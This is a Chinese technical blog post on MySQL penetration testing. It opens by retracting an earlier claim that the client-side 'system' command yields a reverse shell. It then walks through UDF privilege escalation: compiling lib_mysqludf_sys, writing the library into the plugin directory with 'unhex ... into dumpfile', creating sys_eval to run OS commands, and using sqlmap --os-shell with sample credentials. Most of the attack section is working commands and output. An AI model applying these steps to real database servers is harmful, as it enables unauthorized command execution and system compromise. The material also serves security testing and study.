博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
MySQL的system命令在渗透测试中的使用以及UDF提权
阅读量:5162 次
发布时间:2019-06-13

本文共 2302 字,大约阅读时间需要 7 分钟。

声明:下面引用关于SYSTEM的东西是自己之前的内容,是自己没有研究透导致的错误结论:有了错就要改,做技术的不能弄虚作假,时时刻刻要求自己要谨慎,虽然我的博客没人看,但是也要向所有已经看到的人道歉,错了就是错了。

说明:

错误点:SYSTEM执行的是MYSQL-CLI客户端自己所在机器的命令,也就是你使用mysql命令行方式连接到对端后,使用SYSTEM执行的还是自己所在机器的指令。比如你system whoami,你会发现是你自己的主机账户名。所以无法用在渗透过程的当中,特此声明。

一、MySQL中的system命令

在MySQL 5.x中增加了system命令,简单的符号是\!,从而使MySQL可以执行系统的命令

1 mysql> system echo "12345"2 12345

因为突发奇想,可以使用这个办法反弹shell

结果OK:

尝试和select拼接执行,这样是成功的

想到这里其实可以拼接在SQL注入语句中执行OS命令,或者能连上MySQL之后直接执行OS命令反弹shell。

二、MySQL UDF提权

这里按照linux类操作系统举例了,服务器端用windows真的没意思了,虽然还有很多。https://github.com/mysqludf/lib_mysqludf_sys解压后进入(git clone后直接进入)目录:

1 gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so

如果遇到报错:

1 In file included from lib_mysqludf_sys.c:40:2 /usr/include/mysql/my_global.h:626:25: error: my_compiler.h: No such file or directory

可以做如下修改:修改/usr/include/mysql/my_global.h文件,注释626行后重新编译。并使用Hex.hta获取16进制。

1 mysql> show variables like '%plugin%'; 2 +---------------+-------------------------+ 3 | Variable_name | Value                   | 4 +---------------+-------------------------+ 5 | plugin_dir    | /usr/lib64/mysql/plugin | 6 +---------------+-------------------------+ 7 1 row in set (0.00 sec) 8  9 mysql> select * from func; #检查是否已经有人导出过了10 mysql> select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';11 Query OK, 1 row affected (0.01 sec)#需要有/usr/lib64/mysql/plugin/目录的写入权限12 13 mysql> create function sys_eval returns string soname 'mysqludf.so';14 Query OK, 0 rows affected (0.00 sec)15 16 mysql> select sys_eval('whoami');17 +--------------------+18 | sys_eval('whoami') |19 +--------------------+20 | mysql21              |22 +--------------------+23 1 row in set (0.03 sec)24 25 mysql> select * from func;26 +----------+-----+-------------+----------+27 | name     | ret | dl          | type     |28 +----------+-----+-------------+----------+29 | sys_eval |   0 | mysqludf.so | function |30 +----------+-----+-------------+----------+31 1 row in set (0.00 sec)32 33 mysql> drop function sys_eval;34 Query OK, 0 rows affected (0.00 sec)35 36 mysql> select * from func;37 Empty set (0.00 sec)

或者使用sqlmap 执行提权:

1 #sqlmap -d "mysql://root:toor@192.168.99.213:3306/test" --os-shell2 #test的地方是database name

 

转载于:https://www.cnblogs.com/KevinGeorge/p/8394545.html

你可能感兴趣的文章
Google Chrome 源码下载地址 (Google Chrome Source Code Download)
查看>>
Cowboy 源码分析(七)
查看>>
poj1151 Atlanis 线段树+离散化求矩形面积的并
查看>>
元胞数组的索引
查看>>
6月份值得一看的 Java 技术干货!
查看>>
大龄屌丝自学笔记--Java零基础到菜鸟--033
查看>>
关于初学者上传文件到github的方法
查看>>
初学idea 我知道的
查看>>
使用C++进行WMI查询的简单封装
查看>>
linux 新建/删除目录命令
查看>>
高并发性能测试
查看>>
【转】在eclipse上使用Git
查看>>
stringbuffer.append(args) args可以多类型
查看>>
使用DateEye游戏埋点
查看>>
/dev/ttyUSB0 permission denied 解决办法:永久有可操作权限
查看>>
asp.net学习GridView
查看>>
杂而不专
查看>>
GetWindowThreadProcessID 记录
查看>>
WebForm 【上传图片】【图片验证码】
查看>>
Elastic-job使用及原理
查看>>